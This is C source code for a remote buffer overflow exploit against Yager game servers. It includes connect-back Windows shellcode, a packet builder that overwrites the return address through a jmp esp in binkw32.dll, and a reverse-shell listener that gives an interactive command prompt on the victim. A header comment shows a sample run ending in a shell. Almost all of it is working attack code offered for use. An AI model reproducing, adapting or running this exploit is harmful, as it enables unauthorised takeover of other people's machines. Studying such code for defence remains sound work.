/*
 *
 * Yager <= 5.24 Remote Buffer Overflow Exploit
 *
 * cybertronic[at]gmx[dot]net
 * 04/25/2005
 *
 * send all the money to Luigi Auriemma
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/
 *     /____/
 *
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * --[ select target
 * --[ 0 [0xdeadc0de] crash server
 * --[ 1 [0x300686bd] binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro SP1 GER]
 *  >> 1
 * --[ sending handshake [UDP]...done!
 * --[ reading server response [UDP]...done!
 * --[ server port: 1089
 * --[ connecting to 192.168.2.100:1089 [TCP]...done!
 * --[ exploiting WinXP Pro SP1 GER
 * --[ ret: 0x300686bd [ jmp esp in binkw32.dll ]
 * --[ exploiting packet overflow...
 * --[ sending packet...done!
 * --[ starting reverse handler [port: 1337]...done!
 * --[ incomming connection from:  192.168.2.100
 * --[ b0x pwned - h4ve phun
 * Microsoft Windows XP [Version 5.1.2600]
 * (C) Copyright 1985-2001 Microsoft Corp.
 *
 * C:\Yager>
 *
 */


#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT_UDP  34855

#define RED    "\E[31m\E[1m"
#define GREEN  "\E[32m\E[1m"
#define YELLOW  "\E[33m\E[1m"
#define BLUE  "\E[34m\E[1m"
#define NORMAL  "\E[m"

/*
 *
 * prototypes
 *
 */

int exploit ( int s, unsigned long xoredip, unsigned short xoredcbport, unsigned long ret );
int isip ( char *ip );
int send_handshake ( int s, struct sockaddr_in remote_addr );
int shell ( int s, char* tip, unsigned short cbport );

void header ();
void start_reverse_handler ( char* argv3 );

/*********************
 * Windows Shellcode *
 *********************/

/*
 * Type : connect back shellcode
 * Length: 316 bytes
 * CBIP : reverseshell[111] ( ^ 0x99999999 )
 * CBPort: reverseshell[118] ( ^ 0x9999 )
 *
 */

unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";

/*
 *
 * structures
 *
 */

struct targets {
  int  num;
  unsigned long ret;
  char name[64];  
}
target[]= {
  { 0, 0xdeadc0de, "crash server" },
  { 1, 0x300686bd, "binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro SP1 GER]" } //push esp in binkw32.dll
};

/*
 *
 * functions
 *
 */

int
exploit ( int s, unsigned long xoredcbip, unsigned short xoredcbport, unsigned long ret )
{
  int r;
  char buffer_pack[592];
  
  printf ( "--[ exploiting WinXP Pro SP1 GER\n" );
  printf ( "--[ ret: 0x%08x [ jmp esp in binkw32.dll ]\n", ret );

  memcpy ( &reverseshell[111], &xoredcbip, 4);
  memcpy ( &reverseshell[118], &xoredcbport, 2);

  r = ~time ( NULL ) & 0xffff;
  printf ( "--[ exploiting packet overflow...\n" );
  bzero ( &buffer_pack, sizeof ( buffer_pack ) );
  memset ( buffer_pack, 0x41, 268 );
  strncat ( buffer_pack, ( unsigned char* ) &ret, 4 );
  strncat ( buffer_pack, "\x41\x41\x41\x41", 4 ); //4 bytes padding
  memcpy ( buffer_pack + 276, reverseshell, sizeof ( reverseshell ) - 1 );
  buffer_pack[0] = 0x00;
  buffer_pack[1] = 0x00;
  buffer_pack[2] = 0x00;
  buffer_pack[3] = 0x00;
  buffer_pack[4] = 0x46; //sizeof ( buffer_pack ) - 0xa; 582d / 246h
  buffer_pack[5] = 0x02; //sizeof ( buffer_pack ) - 0xa; 582d / 246h
  buffer_pack[6] =   ( r & 0x00ff );
  buffer_pack[7] = ( ( r & 0xff00 ) >> 8 );
  buffer_pack[8] = 0x00;
  buffer_pack[9] = 0x00;
  printf ( "--[ sending packet..." );
  if ( write ( s, buffer_pack, sizeof ( buffer_pack )  ) <= 0 )
  {
    printf ( "failed!\n" );
    return ( 1 );
  }
  printf ( "done!\n" );
  return ( 0 );
}

int
isip ( char *ip )
{
  int a, b, c, d;
  
  if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
    return ( 0 );
  if ( a < 1 )
    return ( 0 );
  if ( a > 255 )
    return 0;
  if ( b < 0 )
    return 0;
  if ( b > 255 )
    return 0;
  if ( c < 0 )
    return 0;
  if ( c > 255 )
    return 0;
  if ( d < 0 )
    return 0;
  if ( d > 255 )
    return 0;
  return 1;
}

int
send_handshake ( int s, struct sockaddr_in remote_addr )
{
  char* p;
  char crap[23];
  char in[2048];
  unsigned short port;
  
  bzero ( &crap, sizeof ( crap ) );
  crap[0] = 0x59;
  crap[1] = 0x5f;
  crap[2] = 0x4e;
  crap[3] = 0x45;
  crap[4] = 0x54;
  crap[5] = 0x5f;
  crap[6] = 0x59;
  crap[7] = 0x41;
  crap[8] = 0x47;
  crap[9] = 0x45;
  crap[10] = 0x52;
  crap[11] = 0x5f;
  crap[12] = 0x43;
  crap[13] = 0x4c;
  crap[14] = 0x49;
  crap[15] = 0x45;
  crap[16] = 0x4e;
  crap[17] = 0x54;
  crap[18] = 0x00;
  *( u_short* ) ( crap + 19 ) = ~time ( NULL );
  crap[21] = 0x00;
  crap[22] = 0x00;
  printf ( "--[ sending handshake [UDP]..." );
  if ( sendto ( s, crap, sizeof ( crap ), 0, ( struct sockaddr* ) &remote_addr, sizeof ( remote_addr ) ) < 0 )
  {
    printf ( "failed!\n" );
    return ( 1 );
  }
  printf ( "done!\n" );
  printf ( "--[ reading server response [UDP]..." );
  bzero ( &in, sizeof ( in ) );
  if ( recvfrom ( s, in, sizeof ( in ) -1, 0, NULL, NULL ) < 0 )
  {
    printf ( "failed!\n" );
    return ( 1 );
  }
  printf ( "done!\n" );
  p = in + 19;
  port = ntohs ( *( u_short * ) p );
  printf ( "--[ server port: %d\n", port );
  return ( port );
}

int
shell ( int s, char* tip, unsigned short cbport )
{
  int n;
  char buffer[2048];
  fd_set fd_read;

  printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );

  FD_ZERO ( &fd_read );
  FD_SET ( s, &fd_read );
  FD_SET ( 0, &fd_read );

  while ( 1 )
  {
    FD_SET ( s, &fd_read );
    FD_SET ( 0, &fd_read );

    if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
      break;
    if ( FD_ISSET ( s, &fd_read ) )
    {
      if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
      {
        printf ( "bye bye...\n" );
        return;
      }
      if ( write ( 1, buffer, n ) < 0 )
      {
        printf ( "bye bye...\n" );
        return;
      }
    }
    if ( FD_ISSET ( 0, &fd_read ) )
    {
      if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
      {
        printf ( "bye bye...\n" );
        return;
      }
      if ( send ( s, buffer, n, 0 ) < 0 )
      {
        printf ( "bye bye...\n" );
        return;
      }
    }
    usleep(10);
  }
}

void
header ()
{
  printf ( "              __              __                   _           \n" );
  printf ( "  _______  __/ /_  ___  _____/ /__________  ____  (_)____      \n" );
  printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/  \n" );
  printf ( "/ /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__        \n" );
  printf ( "\\___/\\__, /_.___/\\___/_/   \\__/_/   \\____/_/ /_/_/\\___/  \n" );
  printf ( "    /____/                                                     \n\n" );
  printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}

void
start_reverse_handler ( char* argv3 )
{
  int s1, s2;
  unsigned short cbport;
  struct sockaddr_in cliaddr, servaddr;
  socklen_t clilen = sizeof ( cliaddr );

  sscanf ( argv3, "%u", &cbport );
  
  bzero ( &servaddr, sizeof ( servaddr ) );
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
  servaddr.sin_port = htons ( cbport );

  printf ( "--[ starting reverse handler [port: %u]...", cbport );
  if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
  {
    printf ( "socket failed!\n" );
    exit ( 1 );
  }
  bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
  if ( listen ( s1, 1 ) == -1 )
  {
    printf ( "listen failed!\n" );
    exit ( 1 );
  }
  printf ( "done!\n" );
  if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
  {
    printf ( "accept failed!\n" );
    exit ( 1 );
  }
  close ( s1 );
  printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) );
  shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
  close ( s2 );
}

int
main ( int argc, char* argv[] )
{
  int s1, s2, targ, i;
  unsigned long xoredcbip;
  unsigned short cbport, xoredcbport, port;
  struct sockaddr_in remote_addr;
  struct hostent* host_addr;

  if ( argc != 4 )
  {
    printf ( "Usage: %s <ip> <cbip> <cbport>\n", argv[0] );
    exit ( 1 );
  }
  system ( "clear" );
  header ();
  if ( !isip ( argv[1] ) )
  {
    printf ( "Invalid Target IP!\n" );
    exit ( 1 );
  }
  if ( !isip ( argv[2] ) )
  {
    printf ( "Invalid connect back IP!\n" );
    exit ( 1 );
  }
  printf("--[ select target\n");
  for ( i = 0; i < 2; i++ )
    printf ( "--[ %d [0x%08x] %s\n", target[i].num, target[i].ret, target[i].name );
  printf ( " >> " );
  scanf ( "%d", &targ );
  if ( targ != 0 )
    if ( targ != 1 )
    {
      printf ( "--[ invalid target!\n" );
      exit ( 1 );
    }
  if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL )
  {
    fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] );
    exit ( 1 );
  }
  remote_addr.sin_family = AF_INET;
  remote_addr.sin_addr   = * ( ( struct in_addr * ) host_addr->h_addr );
  remote_addr.sin_port   = htons ( PORT_UDP );
  if ( ( s1 = socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) ) < 0 )
    {
    printf ( "socket failed!\n" );
    exit ( 1 );
  }
  if ( ( port = send_handshake ( s1, remote_addr ) ) == 1 )
  {
    printf ( "handshake FAILED!\n" );
    exit ( 1 );
  }
  close ( s1 );
  if ( ( s2 = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
    {
    printf ( "socket failed!\n" );
    exit ( 1 );
  }
  printf ( "--[ connecting to %s:%u [TCP]...", argv[1], port  );
  remote_addr.sin_port   = htons ( port );
  if ( connect ( s2, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
  {
    printf ( "failed!\n" );
    exit ( 1 );
  }
  printf ( "done!\n" );
  
  xoredcbip = inet_addr ( argv[2] ) ^ ( unsigned long ) 0x99999999;
  xoredcbport = htons ( atoi ( argv[3] ) ) ^ ( unsigned short ) 0x9999;

  if ( exploit ( s2, xoredcbip, xoredcbport, target[targ].ret ) == 1 )
  {
    printf ( "exploitation FAILED!\n" );
    exit ( 1 );
  }
  close ( s2 );
  start_reverse_handler ( argv[3] );
}